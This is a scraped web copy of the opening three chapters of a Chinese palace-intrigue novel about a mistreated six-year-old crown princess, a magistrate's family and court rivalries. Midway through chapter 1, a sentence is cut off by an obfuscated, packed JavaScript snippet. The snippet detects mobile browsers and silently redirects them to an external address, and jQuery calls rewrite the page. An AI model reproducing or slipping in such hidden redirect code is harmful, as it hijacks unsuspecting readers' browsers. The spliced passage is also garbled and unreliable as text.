《亡国女帝她东山再起》 1. 金宫 大周帝国,夏夔帝一十六年,夏。 花开闹枝头的时节,悠然的白云飘过轩辕金宫的上空,投射下来的阴影满载远道而来的闲暇,又自在而去。 金色的宫殿璃瓦反射从云层中直插而下的剑芒,像是金色的粼光,映红白云的尾巴。 金凤宫的廊檐下,两列宫女扮相如敦煌的飞天,站姿如直尺丈量过的标杆。 初夏的徐风拂起她们背后的披帛,腰侧的绥带飞扬而起。形有貌、神无色,唯有眸色是活的。在这样得一丝不苟中,藏着惶惶不安。 “啪”得一声,巴掌打在人面上的轻巧响声。 这声音不重,却也是真得重极。因为打的人和被打的人是这大周国最为尊贵的女子。 大周太女——轩辕金簪跪在织金绣锦团的贡毯,缓缓地摆正被打的脸。她面无表情,盯在轩辕皇后绣金凤缀明珠的华服袍摆,既无愤怒,也无言笑。 金簪的眼神毫无慌乱,一种异常的平静和超越年纪的稳重,仿佛被打的人根本不是她。 轩辕皇后从凤榻上离开时已经在心里做足准备。 这一巴掌下去前,她考虑过好几番,已尽量避开女儿脸上的要害。尽量不把镶翠的金指甲套刮到女儿稚嫩的面颊。 一个帝国的储君不能有缺陷,不论是脸上还是她的品行,都有严格的要求。 然而,皇后礼服袖摆上略硬的织金还是擦过太女光洁的侧颊,在白嫩的脸上析出几道红痕,明晃晃地昭示刚刚的暴行。 轩辕皇后的呼吸滞了下,随后想到这是自己生的孩子,又极快地释怀这种掌掴一国储君的忧虑以及为母的负罪感。 她瞧向不动如山的小身影及她脸上的无波神色,心头渐生起异样的满足和自豪。 “你能身受折辱,做到八风不动,确实没有丢掉轩辕皇族的高贵傲骨,甚好。” 太女金簪会回应吗? 不,她没有。她已习惯轩辕皇后的复杂,用纠结的方式彰显自我存在价值的暴力行为。 轩辕皇后浅吸口气,挺起前胸,俯视太女。 “本宫令你跟太傅学文治,太傅也说‘业精于勤而荒于嬉’。为何荒废学业跑去龙腾殿,还不是一次两次?” 金簪轻轻地掀起微红的唇瓣:“父皇偶尔会在龙腾殿。” 皇后身边的女侍玉蓉姑姑咯噔下,赶在皇后再次动怒前进言。 她急切地劝慰:“娘娘,太女殿下年幼,许是想陛下才……” 年幼二字触及皇后心里那根名为“欲望”的心弦。 她抬起镶明珠的绣凤鞋面,一脚踹向轩辕金簪的肩头。 金簪被狠狠地踹倒在地,黑亮的双眸褪去故作的平静,流过一瞬而逝的委屈。 那些涌起的酸涩很快被她强咽下肚。她以双手撑在地面,再次跪直,恢复平静的眸光流过劝慰不断的玉蓉面容,再次垂目在皇后的凤摆。 一个宫女都比一位母亲疼爱孩子,不是吗? 凤袍上的金凤很美,却没有传说中的凤凰的祥瑞宁和,有得全是尖锐的欲望和难以释怀而生的暴怒。 母后,你究竟要金簪成为一个什么样的人? 金簪的心里淌过成人会有的理解:希望我百折而不挠吗? 玉蓉急急地扶住皇后,垂首道:“娘娘息怒。太女自年初大宴后未曾得陛下召见,定是思念皇上。寻常人家都会思亲,乃是人之常情啊。” 整个金凤宫里不闻它声,唯有玉蓉轻而急促得一句句劝慰。 轩辕皇后睨向玉蓉,再次注目身姿跪得笔直的女儿,深吸口气后压下怒火:“你不服!?但是,你是太女,天下的表率,不是寻常人家的孩子,没有人之常情。 有朝一日,他轩辕夏的儿子出生,你再看这偌大的金宫,可有你我母女的容身处? 轩辕金簪,你不服也给本宫憋回去。” 说到气急处,皇后的胸脯高震,又严厉道:“你听好,太女身份得来不易,不要整些花里胡哨的心思,肖想寻常人家的父女亲情。不说你想不想,就是他轩辕夏,对你就没有这份情。你坐在这个位置,就给本宫守好太女的本分。” 太女金簪没有应是,更不会点头,连眼睛都不曾眨下。 她小小的身躯就这样直挺挺地跪着,交叠于膝上的双手如平常般放着。她的小脸肃静,比之金凤宫外廊下的宫女都要工整。 轩辕皇后见她如此,认定她不服气。郁气叠生中,皇后气急败坏道:“你即刻回金翅宫反省。他既无召见,你就不得出宫。直到他宣旨召见你,你才能踏出金翅宫。” 轩辕金簪的心湖起丝波纹,清澈的眸光里流过复杂的讽笑。 她是真想笑,但肩上被踹的地方正发出隐痛,脸颊上有一点余辣,提醒她不要对这个女人的期望过高。 心湖上漾起的风在强忍地克制下回归平静,不再起一丝涟漪波澜。 【孙太傅说:千磨万击还坚韧,任尔东西南北风。孤要走的路还长。】 金簪躬身朝皇后拜道:“儿谨遵母命,这就回宫……闭门思过。” 她行过礼,起身后再次拱手拜辞。随后,她踏方步离去,未曾再回下头。 “……这个孽障。” 轩辕皇后见她小而挺拔的背影毫无错漏、更无回首,又是怒气横生,一时难以消解。 太女金簪带宫婢杜鹃毫无留恋地离开富丽堂皇的金凤宫。 每来一次这里都会令她窒息到竖起更高的心墙,阻挡外界入侵的伤害。 “玉蓉,本宫刚才的话……她是完全没有听进去吧?” 轩辕皇后气急败坏地转身,宫婢跪撑托盘上前,盘上的岩烧釉色盏像极金簪脸颊上的红印,白瓷嵌红痕。她抢步上前,扬手横扫,将盘上的茶盏挥落在地,怒道:“她是真要气死本宫啊,丝毫不懂本宫对她的良苦用心。” 玉蓉劝慰不得,只好屈膝跪地,谨慎道:“娘娘莫急。皇上只有太女一个子嗣,谁又越得过太女殿下。” “谁?新进宫的妖精……斗败一批又来一波。他轩辕夏怎么不马上风……你放开……本宫……” 玉蓉听到“马上风”,猛地扑在皇后的脚边,昂起的脸上显露焦急。 听皇后的后话,她赶紧放开怀抱的凤袍摆。她伏地正跪,谨慎道:“婢子该死,触犯凤颜。” 轩辕皇后的郁气只出一半,知刚才的话太过。她缓过神,蹙眉凝在玉蓉发髻上的碧色芙蓉,脑海里过得是后宫的娇花艳妃。 她斜眉冷声:“你放心吧。金凤宫内外被本宫治的水泄不通,谁敢将本宫的话传出去。” 皇后没有喊玉蓉起身,坐回凤雕锦榻,接过宫婢新递来的玉雕牡丹盏,滑过盖碗后抿了口。 茶香的舒缓和泊淡的口感令她浮躁的心略略地宽泛些。她将茶盏放回托盘,挥退宫女。 皇后瞧向指甲上的翠金,忆起龙腾殿中的过往,冷凝了目色。 抢来的东西就得守住。不然,出卖的灵魂怎能舒坦? 轩辕皇后的语气轻慢,散发着不轻不重的威严:“起来吧。你盯好这批新人,别让她们不知轻重地闹出人命。” “是。”玉蓉暗舒口气,想来皇后的气已经过了,这才起身。 她让身旁瑟瑟发抖地奉茶小宫女也起身,令她打扫落地的岩盏。 玉蓉步出中殿,正见小宫女端着磕破的岩盏离去,喊住了她。 她悄声吩咐小宫女:“下次,你见娘娘脾气不好时,将这一套余下的几盏茶器拿来伺候吧。” “这……会不会不符规定?”小宫女见玉蓉的面色严谨,不敢再怀疑她的用意,恭敬道,“是,玉蓉姑姑。” 玉蓉轻叹一声。如今宫里的用度拮据,哪还是曾经挥金如土的金宫。 她也是没办法才吩咐这事,能省一点是一点。 ** 轩辕金簪带宫婢杜鹃离开金凤宫,前往她的太女宫殿——金翅宫。 若是男嗣被立为大周的太子,按祖制会入住大金宫外的太子主殿天机宫,而不是名不正言不顺的内廷后宫。 三公位列其二的太傅孙忠谋已经竭力向轩辕皇争取太女入住天机宫,而不是后宫。然而,皇帝轩辕夏怎么都不肯松这个口。 六岁的金簪都还记得那日父皇发火的场面。 帝王一怒,高喝大骂:“你们是什么眼神?瞧不起朕生不出儿子吗?若是再有人敢提她入住天机宫一事,满门尽诛。” 三公一党的小臣,立时噤若寒蝉。 金簪也是那个时候认清:父皇在等,等他名正言顺的儿子可以取代太女入主天机宫。 此时,浮云的尾巴带璃瓦的金粼滑过轩辕金簪的软轿,将她的白纹大明孔雀袍衬得越发明丽。 她头上那顶小巧精妙的镂空金丝冠发出风拂过后的轻巧细碎的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059928|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金戈碰撞声,似她内心深处无形无影的交战声。 软轿旁,杜鹃偷觑直视前方的太女。太女侧颊上的两屡红痕越发惹眼。杜鹃的眉眼里滑过怜惜,扶着软轿,轻喝道:“午后天热,莫要颠着殿下,你们稍许快些。” “喏。”一行人穿过宫廷花道,快步向金翅宫行去。 金翅宫在金宫的西北角,远离轩辕帝所在的乾宁大殿范围,距离金凤宫也是颇远。 宫内的一众宫女得了消息,等太女的软轿落地。她们屈膝迎接,迎一宫之主回殿。 金簪直入寝殿,坐在黑底红釉面的妆奁前,静静地看向晶石镜面里映出的脸侧红痕。 小小年纪的她,心里绑缚一匹凶猛的野兽。 这只兽被无数的铁链捆缚手脚、脖子……像是现在弱小的金簪,无能无势挣脱它们。 此刻,金簪的心里掀起狂潮浪海:为何不像金凤宫里的主人,狠狠地砸碎这一妆奁的饰品。 但是,太傅孙忠谋说过:“君子端方,勇者怒、智者谋,上位者擅谋胜勇,不该喜怒形于色。” 那些治人为上者的教导像是血液流淌在金簪的体内,时时提醒她面对不堪的处境该如何自处和应对。 金簪安静地坐在锦凳,保持面上的平静无波。 杜鹃接过宫女送来的膏药,移步到金簪的旁边,轻声道:“殿下,娘娘送来的玉容膏,奴婢给您上药吧?” 金簪暗吸口气,拔下头上的金钗,糯声道:“先洗漱吧。” “是。”杜鹃朝同官阶的南叶颔首,小心地取下太女头上的镂空金丝冠。 南叶朝外吩咐一声。不一会儿,一群小宫女鱼贯而入,一应洗漱用具成列上前。 杜鹃先给自身净手,再换干净的水送到金簪的面前。 待金簪洗过手后,杜鹃拿帕子细细地抹过她脸上的红印。当太女起身时,杜鹃搁下巾帕,给她宽衣解带。 她用帕子给金簪擦拭身体,服侍她换上干净的衣衫。 金簪觉出舒坦,又坐回锦凳,如一乖巧的玉瓷娃娃。 杜鹃在南叶的帮助下给金簪稚嫩的脸上涂抹药膏,柔声道:“殿下,奴婢给您揉肩吧?” 金簪摸在被踹的肩膀,小小年纪的她毫无生涩地呵了下。 “不必了。”母后没有用太大的力。这点疼刚好,既长记性又不留疤,提醒我不去挑战她为母为后的威严。 脸颊上的红痕在涂抹药膏后沁出微凉的肤感,金簪的心境稍平,向前殿走去。 她走到与寝殿互通的书殿,坐在紫檀香案前,吩咐杜鹃:“你们下去吧,孤要完成太傅布置的课业。” 杜鹃担忧地望眼太女。作为太女的贴身女侍,重要得是听令。 她与南叶向金簪行礼后退出书殿。 金簪独坐案前,课业早已在前往龙腾殿前完成,此刻正放在案几。 书笺上一个个瘦劲透纸背的字,变成一张张叫不出名字的宫侍们的脸。 字再好看,都透着股说不上来的沉闷。 她昂起小脸,面向木梁上的金纹雕花。眼泪湿润眼眶,聚多后从侧角滚落,流进刚换的衣领。 那个在母妃面前故作坚强讨不到糖的孩子,在一人时怒过后也会委屈地偷偷哭泣。 “等父皇召见吗?若父皇能想起孤这个女儿,孤都要去找小宗伯烧香祭拜先祖。你就不用暗嫉交加,在孤的身上发泄。呵。” 金簪咬唇,不让一点委屈从齿尖流泻。 那些沉默的脸若是发现孤的软弱,他们会去告诉金凤宫,会提醒太傅……她用力地擦去不断滑落的眼泪,连成线的珠子越发不受控地沁出来,擦不完、还恼人。 习惯了,早该习惯。金簪,你是轩辕金簪。轩辕帝国唯一的储君,未来的轩辕皇,不可以哭,不能哭。 强作平静的心湖在这偏僻的金翅宫里,独属于金簪的地盘,也会发狂、会掀起滔天的愤怒波澜,会痛苦地藏不住一滴眼泪。 金簪的心海上刮起狂风暴雨,强压的情绪激卷她弱小的身躯,颤抖着承受着被一次次地摧折着……在风雨渐歇时,它又将竖起一层新的壁垒,挡下眼里流泻出的脆弱。 良久后,轩辕金簪的眼睛被洗得越发水润清亮。而藏在眸底得那部分情绪越发幽深黑暗。 稚嫩的小手移开被盖住的漂亮字迹。她重新审阅太傅布置的课业,尝试另一种想法去解答。 2. 绿风 大周国幅员辽阔,以“道府郡守制”治理天下。地方道府为主,其下郡、县为辅,往下“乡、里、亭”为最小单位。 在大周最南的南旋道府下辖有一郡城,曰:绿风郡。 时直初夏,绿风郡因地处偏南,天热气盛。刮过来的风带有远方海水的腥和潮热,如火添薪,令人暴躁难耐。 街面上的行人彼此擦碰,烦躁下易生口角。但是,此地的百姓往往能平心静气来句: “抱歉啊。” “没事没事……这能有多大事啊,能有饿死事大吗?” “对啊,隔壁还催着收茶呢,可怜哟。忙去了忙去了。” …… 行人们磕碰两句,擦擦汗液,继续去忙。 做人做人,不就是多做事才能成人吗? 人间世道坎坷,绿风郡的百姓在此地的凌郡守治理下尚能安居度日。 天再热、生活再难耐,能有战火连天、流离失所、无物饱肚惨吗? 黎民生活安定,才能平心静气地应对一切磨难。 凌郡守的宅邸深处有一清霜院,住得是凌老爷的儿媳妇。 今日,清霜院内,少夫人正痛苦地嘶喊:“啊……痛……好痛……他来了吗?” 房中的稳婆、一众伺候的丫鬟早已汗流夹背,热得要中暑。 她们喘着热气,顾不得擦汗,一声声呼应生产的少夫人。 “少夫人,你的身子好,盆腔大,不怕啊。你一定能诞下麟儿。”粱稳婆的经验老道,十里八乡出了名的纳福接生婆。 她的鼓励稳住房内一众不安的婢子。 房内的管事姑姑,名唤殷罗。她抹把额间沁出的热汗,两颊的汗水已滑至下颚,衣衫汗湿,像是淌过水。 她在内间和隔间门口张望几次,还是没见姑爷回来。 去催的人来一个、走一个,就是不见本该在房外得那个男人。 小丫鬟掬衣从外赶来,朝殷罗匆忙地行礼。 “殷罗姑姑,凌老爷说先别管少爷了,他会派人去催。凌老爷说,先让少夫人把孩子平安地生下来,一定要母子平安。” 殷罗的眸光发沉,听里头少夫人传出的痛苦喊声,憋口闷气在胸。 她压着气愤点头,再次进里间的产房。 偏偏是女人生产,不可见风。 闷热的房里令众人越发火燥,却都生不起气。她们觉得床上的少夫人可怜,所嫁非人。女人产子的关键时刻,男主人却在别的女人家里逍遥。 若是……夫人有重来的机会,可还会选择再嫁进此门? “夫人,见头了见头了……你撑住啊。”梁稳婆耐住火气,教少夫人呼气、吸气,攒力用劲的法门。 殷罗取来参片,俯在少夫人的耳边,轻声道:“少夫人,含在嘴里养养气吧,一会就好。” “呜呜……疼……他……他来了吗?”少夫人韵霜痛的神色扭曲,发丝贴面的脸上涨红一片。她得一双美眸含着伤心委屈,依旧殷切地盼向内外间的过道口。 殷罗的心间着实不好受,想骗女主人句好听话,可少夫人已经痛叫地转过充血的红眸,扭曲的脸上露出恨意。 “啊……我……我不想死,我不甘……啊……” “生了生了……少夫人,孩子出来了。恭喜少夫人。”梁稳婆拉出婴儿,拿火烫过的铜剪卡断脐带,再打个漂亮的脐结。她在婴儿的肚腹一观,又在小屁股上轻轻地一拍,声音脆响动听。 “男娃子。” “哇哇哇……”新生儿的哭声堪比响铃,一个有力的娃儿。 梁稳婆紧张的面容彻底舒展,连汗都来不及擦。 她将婴儿稳稳地交给旁边有经验的大丫鬟掬梅,再去处理产妇余下的事。 掬梅轻声哄着小婴儿,放进备好的温水中洗去残血和粘液。待婴儿被清洗干净后,她又用备好的薄衫将孩子一裹,抱给殷罗。 “姑姑,漂亮的小少爷。” 殷罗接过圆润通红的婴儿,哟哟地哄几声。 婴儿很快就不哭,似个非常通灵的孩子。 她把婴儿抱给少夫人韵霜,试着欢喜道:“少夫人,你快看看,漂亮的小少爷,像您呢,乖巧的娃儿。” 如同从水里捞起来的黑发贴在韵霜的脸面。她想侧眸看下儿子,却想起那个“少爷”,那个无情的孩儿爹。 她硬起心,将头撇向床里,泪如雨下,哽咽道:“抱走吧……我……不想看到他。他会让我想起他的爹,我……恨……呜呜呜……若有再来一次的机会,我必不会再嫁他……呜呜呜……” 殷罗的眼泪湿润眼眶,蹙着眉轻声劝慰:“少夫人,月子里不让哭,伤眼睛啊。” “你将他抱走,我就不哭……”韵霜呜咽着想翻身,奈何身下淋漓,硬挺着把头扭得更里面。 她不想哭,不想为那种男人哭,但是心不从所属,赤红的眼里不断地沁出泪水。 凌老爷为官清正、人品好,怎奈儿子偏是个反骨逆子。 梁稳婆知道凌家的情况,洗过手后忍不住劝句:“少夫人啊,老身……我说句实在话。咱们女人最重要就是自家的身体。身体好了,啥事都能干。 从前有轩辕女皇当政,抬举咱们一众女子的地位。女子和离再嫁、娶夫、讨侍男的风气在咱们南旋尚存。大不了,咱换棵树吊,或者,直接学我,讨个侍男伺候着,快活着呢。呵呵……” “梁家阿婆,怎么说话呢?你以为谁都跟你一样没羞没臊。”掬梅赶紧拉把梁稳婆。她瞥见殷罗的眼色,取三角碎银递给稳婆。 凌府是京中人到地方做官,家里风俗随京都,怎么跟南旋这边的风气、女子当家相比。 梁稳婆连连摆手,不肯收银子。 何况,她如今是一家之主,不差这几绞银子。 她口上依旧道:“怎么就害羞呢?饥荒年,十户人家空七八户。若不是我收留家里那男子,他家不定饿死多少兄弟姐妹。如今,你再来瞧,他不仅把我家田地打理好,还把老身伺候舒坦。怎么就要害羞? 他知恩图报,我也松开心结,日子美着呢。” “行了行了。”掬梅低声道,“大家知道你有一门好手艺,难得的福气人。灾年也没饿着你。可是,你那个……知恩图报,我们家姑爷……别拿你的幸事羞我们少夫人,快收起银子吧。”掬梅瞪了粱稳婆一眼,将银子往她手里塞去,“添个喜庆。” 粱稳婆也瞧不起凌老爷家的公子。奈何凌老爷是个好官,不好说人家的儿子,就想劝少夫人放开些。 床上没再传来哭声。 粱稳婆再次摆手:“说不收就不收。老身是看在凌老爷护我们一城百姓的份上才来这趟,老身岂可收凌老爷家的钱。哎哟,瞧我这嘴,平日里在家拿捏惯,没得污了姑娘们的耳朵。 我走了,回头啊,你遣回春堂的大夫过来给少夫人看看身体。花银子的地方多得是呢。” 别看这家里丫鬟仆人多,全是床上的少夫人嫁过来时从娘家带来。 凌老爷为官清廉,没倒贴百姓就不错了。 掬衣同院外的凌老爷报过喜,绕过夺门而出的梁稳婆,见着追出的掬梅,沉声道:“掬梅姐,怎么了?” “哎……粱稳婆不肯收这银子呢。”掬梅一眼瞧出掬衣的眼神,赶紧道,“她不是嫌少啊。” 掬衣一下子明白过来,拉住去追的掬梅,轻声道:“掬梅姐,别追了。院外的凌老爷会安排。咱们回去伺候少夫人。” 俩人回内堂的厢房。 掬衣朝抱着小少爷的殷罗行礼,轻声道:“殷姑姑,凌老爷让婢子转达。他说,少夫人若是真不想见凌云孙少爷,将小少爷抱去给他养几天。” 殷罗的心里泛上酸涩,床上的少夫人没反应,低声道:“少夫人,凌老爷传来话,他给孙少爷取名:凌云。” 韵霜的头朝床里没有回应,只抽动的肩膀显示她在默默地淌泪。 殷罗知干耗着不是个事,刚出生的孩子得喂奶。凌云小少爷自生下到现在还没喂上一口。 “少夫人,婢子把凌云少爷抱去给凌老爷吧?凌老爷备下的金桂家奶娘会喂养小少爷。” 床上的韵霜闭眼,将头往枕里头埋。 她没吭声,似铁了心不管孩子。 ** 外间,凌府老爷立在儿子媳妇的清霜院外,见梁稳婆出来,迎过去道:“您老辛苦了。” “哎哟,使不得使不得。老妇人岂敢当您这一声啊。”粱稳婆极尊敬这位凌老爷。 为了百姓,凌老爷丧了妻、被儿厌,是顶顶好的官。 凌老爷摆手,说了好几句感谢她的话。 他接过凌管家递来的红封,亲自递给稳婆。 梁稳婆不愿收,推过两次才难为情地收下。 “多谢凌老爷,你真是好官啊。” “您客气。多谢您跑这一趟。”凌老爷回道,伸手做请,给一旁的管家示意相送。 凌管家送梁稳婆出府。 派出去找凌度少爷的老张来报信,凌老爷就等听消息。 老张是跑回来,红润的脸上像是抹过油,面上也是十分的为难。 派出去那么多人都没见着少爷,自己倒是见上。但是,少爷不肯回来,稍带的话又特不好听。 老张紧张地搓把手,磕磕巴巴道:“老……老爷,少爷不肯回。他说……” “说什么?”凌老爷本欢喜的脸色瞬间沉落。 他心里有底,为这个不成器的儿子,今日抱孙的喜庆早淡了。 “说他外间有得是儿女,不差这一个。”老张硬头皮将话说完。 凌老爷气得胸口疼,压了下气性,还是没忍住。 他高声骂道:“混账东西啊,咳咳咳……他这辈子休想……把外头那些不正经的玩意给我带进凌府。” 殷罗抱小少爷踏出清霜院时就听见这句话。她掩下眸里对姑爷的怨怼,躬身向凌老爷行礼,恭敬道:“老爷,这是孙少爷。” 凌老爷连气都没顺过来就疾步上前,从殷罗手里极为小心地接过孙儿。 他深吸口气,稳住微颤的手,掀开婴儿面上的小盖头。肥嘟嘟略皱的通红小脸,十分惹人心疼。 凌老爷得这口怒气,总算是顺过去。 他叮嘱殷罗:“你好好伺候韵霜,医药补品尽管找管家支银子去买。这……老夫是家翁,按理得避嫌。但她婆母去得早,这话就老夫说了。女子月子 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若少夫人院里将孩子抱出来,就由金桂嫂奶着。若是没有将孩子抱出来,就省了这茬,或者令金桂嫂待在清霜院。 只可惜,结果是最差这种。金桂嫂抱着婴儿,随凌老爷离开清霜院口。 ** 南旋道府地界往西北走,那是一片偌大的南部山区。 横跨三道府的十万大山就在这处,周边有卧秋、南旋、南蜀三道府。沿山脉向北延伸是卧秋道府的地界,被称为卧秋山脉。 卧秋山道,云高天阔,山中升起如纱的雾烟,似人间仙境。 云山县令杨安,临时接到上级卧秋道府下派的告令,需赶在谷雨前送高山贡茶进府城。 杨安为赶时间,只能派人抄小路,赶在上级道府定下的期限前上贡。 这条卧秋茶道以往他们的人走过,不及传言的蜀道难,却也是羊肠小道,陡峭又湿滑的青石山路。 一行苦力背一个大布包从狭窄的石坎下坡。 坎道窄细又滑,一个不慎就可能从旁边滚落下山。 一旁是溪涧落坡,巨石嶙峋。一旦掉下去,不死也残。 高耸难登的山道上只见硕大的白布包,哪见下面的苦茶人。 最后一人被大布包压在下面,冷汗夹背,踩着滑腻的山道艰难地行走。 高山风寒,一阵风卷来,他本就难受的身体打个寒噤,一个猛烈的哆嗦致使脚下不稳,连人带布包向下扑去。 领队的叮嘱过众人分开些下山。 然而,大家既想挣这份苦钱又想早点回家,队伍靠得有点紧。 一人从山上跌下,导致一行人相继滚砸进山涧石坎。 一声声惊呼从白布包下传上山,散开的布包掉出如山的干茶叶,像是枯败的绿雪花,洒满山道斜坡,覆盖住一抹一片的石间血迹。 负责运茶的管事杨康居高望下,在一片片沉闷地叫声中跪坐在湿滑的岩石上。 他喃喃道:“完了完了……杨安县丞会杀我全家啊,这可是从周边五县集来的全部茶叶……完了。” 茶乃是盛京贵人的命。茶政更是苛刻,上贡时间不可晚于夏前。 然而,卧秋山脉北段出去乃是三家必争之地。卧秋道府与相连的胜争道府、星海道府,三家争锋一段沿边官道:“九乌山路”的归属权。 三府打架,辖制属地内的官道不便通行,致使下一级的郡守各自守土,响应上级道府的命令把控境内山路。 这才波及下面的县级山土,致他们不能及时运贡品上道府府城。 如今,全大周境内四十五道府势大、又各自为政,钳制领地上的各大郡府。郡守又控制无数下辖的县府。县府责令乡、里、亭等闭户不与邻里互通…… 两百多年来,轩辕皇朝已经蕴藏乱象,随各地道府势大,不听皇朝号令,更是祸事迭起,弄得民不聊生。 卧秋道府延迟的贡茶命令至清明后才下派。郡府收到消息后赶紧甩锅给地方县丞,令他们直送贡茶上卧秋道府交差。 云山县令杨安权小势弱,被周边四县辖制,汇集五县贡茶,全让他云山县安排送茶上道府府城。杨安也怕担事,安排下属的乡长杨康召集村民,抄境内卧秋山道,直奔卧秋道府。 因“九乌官道”绕卧秋山脉而行,一段兵家必争的要路被星海道府和胜争道府辖制。 杨康只能下令村民横穿卧秋山小道,赶上今年已被拖延的贡茶上交时间。 一个白包有近五百斤茶叶,十个布包就是五千斤,里面藏着的小包是送给皇帝的极品贡茶。 五千斤茶进卧秋道府,沿官道送进京都,至轩辕皇帝跟前仅余三十斤贡茶。 高山冷茶量少质好。这批茶叶集结五县的茶量,正是盛京贵人指明的贡茶。这一滚下坡……全完了。 杨康旁边的帮手见这番阵仗也是心惊肉跳。 不为他人的性命担忧,只为自己的项上人头。 他急道:“杨康老爷,快啊,咱们去下面看看茶叶啊,里面的贡茶不能完。不然,这是杀头的死罪啊。” 杨康被“死罪”二字惊醒,连滚带爬得从山道上滑下去。 3. 宰辅 *京都,大金宫* 太女太傅孙忠谋带少傅沈长清,急奔在金红色的皇宫甬道,向轩辕帝所在的乾明宫去。 乾明宫前,大监韩丹听过孙忠谋的来意,有礼微笑:“孙太傅,沈少傅,太宰风大人正在同皇上商议要事,请稍后片刻。” 孙忠谋微蹙浓眉,在韩丹瞧来时即又散开,颔首后立在殿外等候。 沈长清长身玉立,闻言凝拢长眉。耳闻乾明宫内传来糜乱声,气得将眉蹙得更紧、目光更利。 若这都算要事,天下就没有轻的事。 孙忠谋老神在在,睨向旁边的学生,气度沉稳道:“长清,君子先定,后能安、虑所得。凝神静气、稍安勿躁。” “是,老师。”沈长清试着散开眉宇,学孙忠谋的气度,向乾明宫拱手后静立一旁。 片刻后,乾明宫里走出一位簪高冠、博长带的广袖长衫男人。 他四十的年纪,身形高大,五官清隽透肃杀,御一身儒武风姿,如兵仙临世。 拥有这样气度的人,谁也想不到他是马奴出身。 风子鸾从殿内走出龙行虎步之态,行至孙忠谋师徒前,含笑间傲然站定。 他周身的气质暗含儒生书气,也显剑芒的锐气。静中有动,动中有杀,于无声处炸惊雷。 孙忠谋年过半百有余,比起眼前这位后起之秀的风姿,真是被比下去。 他压下心里的惭愧、恨意,虚虚地向他拱手。正色后,强牵唇角,皮笑肉不笑:“大宰辅。” 沈长清官职不及宰辅,何况三公之二的太傅都向风子鸾打招呼,只能憋屈地向宰辅行礼。 论风姿气度,年轻的沈长清更不及风子鸾三分。 风子鸾的笑声暗哑且低沉,犹带七分不羁狂肆。 “呵呵……太傅找陛下何事?陛下正忙会美人,没空见你。” 孙忠谋的心头微紧,锐利的眼神直射风子鸾,面上是客套的笑容:“太女殿下已经被皇后娘娘禁足金翅宫三月有余。娘娘有令,陛下不召见殿下,殿下不可出宫。” “哦,这事啊。”风子鸾呵笑,“有所耳闻。不苟言笑却韧性十足的小姑娘,孙太傅的好学生。” 他的眸光尽显戏谑,缓缓道,“小小年纪可忍住心性,在宫中闭门三月有余。光是这份心性,就委实不错了。 不过吧,少女性子本就爱娇,若是你苛求太过,反倒没了女子该有的灵性。 太傅,你真该让她出来走动走动,见见王孙公子……我家棋儿就很不错。” 孙忠谋憋一口闷气,扯一边唇角,含笑送他离去。 沈长清朝风子鸾拱手,耳听风子鸾离去还在念叨谁家的公子多大来着。 他瞪向风子鸾的背影,撇见老师发沉的目光,紧张道:“老师,他这是……” “罢了,太女年岁尚幼,谈及那些事还早。如今,风子鸾如日中天,所谋深远。吾等三公都要避其锋芒,不与他强行争权。长清,记住:‘锐者避其锋,弱者塞其虚,谋定而后动’。” 孙忠谋言传身教,又在心间微微叹息:太女不易啊。 “是。”沈长清受教。 轩辕皇帝真忙,忙生儿子。他听韩丹禀告说风子鸾和孙忠谋在殿外谈过几句,一时好奇才召见太傅师徒。 孙忠谋和沈长清入殿后,皇帝正被丝帕蒙着眼睛,与心爱的妃子玩捉迷藏的游乐。 师徒俩人没眼看这场面,退回殿门口窝着等。 嬉戏的妃子故意把皇帝引到少傅沈长清的旁边,皇帝一下子抱住俊俏的沈长清。 “嘿嘿,朕抓住你这个小妖精了。” 沈长清感受腰间轩辕帝的大骨手在上下巡游,赶紧轻咳提醒他。 待轩辕帝松开,他赶忙下跪:“陛下,万岁万岁,万万岁。” 轩辕皇帝侧耳听了句,举手甩袖,重重地哼出声。 他没停下玩闹,继续寻找嬉笑出声的妃子。 孙忠谋真是服气,重重地跪磕在地,急声道:“陛下,臣孙忠谋,有事要奏。” 轩辕夏恼了,拉下蒙眼的纱巾,朝娇笑的妃子点下长指。 他的虎眼没瞟向师徒两人,朝美人沉声道:“爱妃,过来。” “陛下……太傅在呢。”妃子掩口轻笑,轻移莲步,如翩跹的蝴蝶,投入轩辕皇帝的怀抱。 轩辕夏轻拍妃子柔软的手,将脖子里蒙眼的丝巾扯下。 他带妃子坐回金銮上座,接过宫侍递来的茶后轻抿口,慢慢道:“又是为那丫头的事?” 孙忠谋屈行向前,正正经经地跪在殿中。 他向皇帝行大礼。沈长清随老师的行动而动,跪在孙忠谋的身后侧。 孙忠谋伏地恳切道:“太女已经被皇后娘娘禁足金翅宫三月有余,言:陛下不召太女,太女不可出宫。” “呵……”轩辕皇帝把手里的金丝盏重重地磕在案几。 年轻的妃子闪烁眸光,扑在皇帝的怀里撒娇。 她娇娇弱弱地吐出香气:“陛下,太女乃是储君,怎么可以随意禁足呢?她可是您的女儿啊,日后是奴的主子呢。陛下……” “好好好……你个小妖精,回头好好伺候朕,待这里……生出个小主子,你就是这宫里所有人的主子。”轩辕夏隔衣衫摸在妃子的肚腹处,一手在她的腰间来回揉捏。 妃子被他弄得咯咯娇笑,娇声吟道:“臣妾不敢嘛。”目光南斜,扫向殿中的孙忠谋师徒。 轩辕夏将目光施舍给殿中的两人,不耐烦道:“孙忠谋,传朕令,太女可出宫。这是你个老师负责的事,弄到朕头上做什么?” 轩辕帝感受怀里不断扰动的柔夷,越发看这对师徒不顺眼。 孙忠谋恨铁不成钢,面上恭敬:“太女至今居住在金翅宫,若是……” “行了。”轩辕夏最听不得他们这些人要扶太女上位,冷笑道,“朕说过,朕的江山要留给朕的儿子。天机宫乃是正经嫡嗣宫殿,不是她轩辕金簪想要就给。 怎么?太女位都给她。这么点时间,你们都等不及?” 说完,他将金丝盏拂在地,吓得满殿宫人急忙跪下。 孙忠谋恼皇帝的脑子不过弯,辩解道:“老臣有罪,老臣是……” 